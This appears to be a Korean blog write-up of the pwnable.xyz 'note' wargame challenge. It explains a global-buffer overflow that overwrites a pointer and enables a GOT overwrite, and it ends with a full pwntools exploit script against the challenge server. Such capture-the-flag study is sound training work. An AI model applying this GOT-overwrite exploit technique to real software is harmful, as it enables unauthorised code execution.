Write up (Wargame)/Pwnable

[pwnable.xyz] note 풀이

그믐​ 2022. 11. 29. 01:39
반응형

분석


relro가 없고 pie도 없다.

실행하면 이런 기능들이 있다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  return 0;
}

 

그리고 이건 main 함수

win 함수도 존재한다.

 

main에서 특이한건 while을 3번이나 쓴다.

 

void edit_note()
{
  int v0; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Note len? ");
  v0 = read_int32();
  buf = malloc(v0);
  printf("note: ");
  read(0, buf, v0);
  strncpy(s, (const char *)buf, v0);
  free(buf);
}

edit note를 보니까 heap문제인가?

 

원하는 길이만큼 할당하고

그 길이만큼 입력받고 그 길이만큼..? s에 strcpy한다.

 

s는 전역변수

 

그리고 buf를 free 한다.

 

desc는 buf가 nullpointer라면 buf에 32byte를 할당한다.

그리고 nullptr이든 아니든 입력받는다.

free하지는 않는다.

여기서 buf는 전역변수에 있다.

 

전역변수에서 s뒤에 buf가 있고,

s에 원하는 크기만큼 입력이 가능하므로 buf도 덮을 수가 있다.

 

buf를 got같은 부분으로 덮고나면 거기에 read가 가능하므로 got overwirte 가 가능할 것 같다.

 

exploit


s 주소를 찾아본다.

 

음 분명

0x6014a0이

buf 주소라고 했으니 저기가 buf겠다.

 

테스트 해보려고 여기에 

0x601220, puts_got를 넣었다.

 

그리고 desc하면

 

잘 들어간다.

 

전역변수 오버플로우로 코드를 작성하면

이렇게 win 실행이 가능

 

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30016)

def note(len, data) :
    p.sendafter('> ', '1')
    p.sendafter('? ', str(len))
    p.sendafter(': ',data)

def desc(data) :
    p.sendafter('> ', '2')
    p.sendafter(': ', data)

puts_got = 0x601220
win = 0x000000000040093c

payload = 'A' * 0x20 + p64(puts_got)

note(0x28, payload)
desc(p64(win))
p.sendafter('> ', '4')

p.interactive()
반응형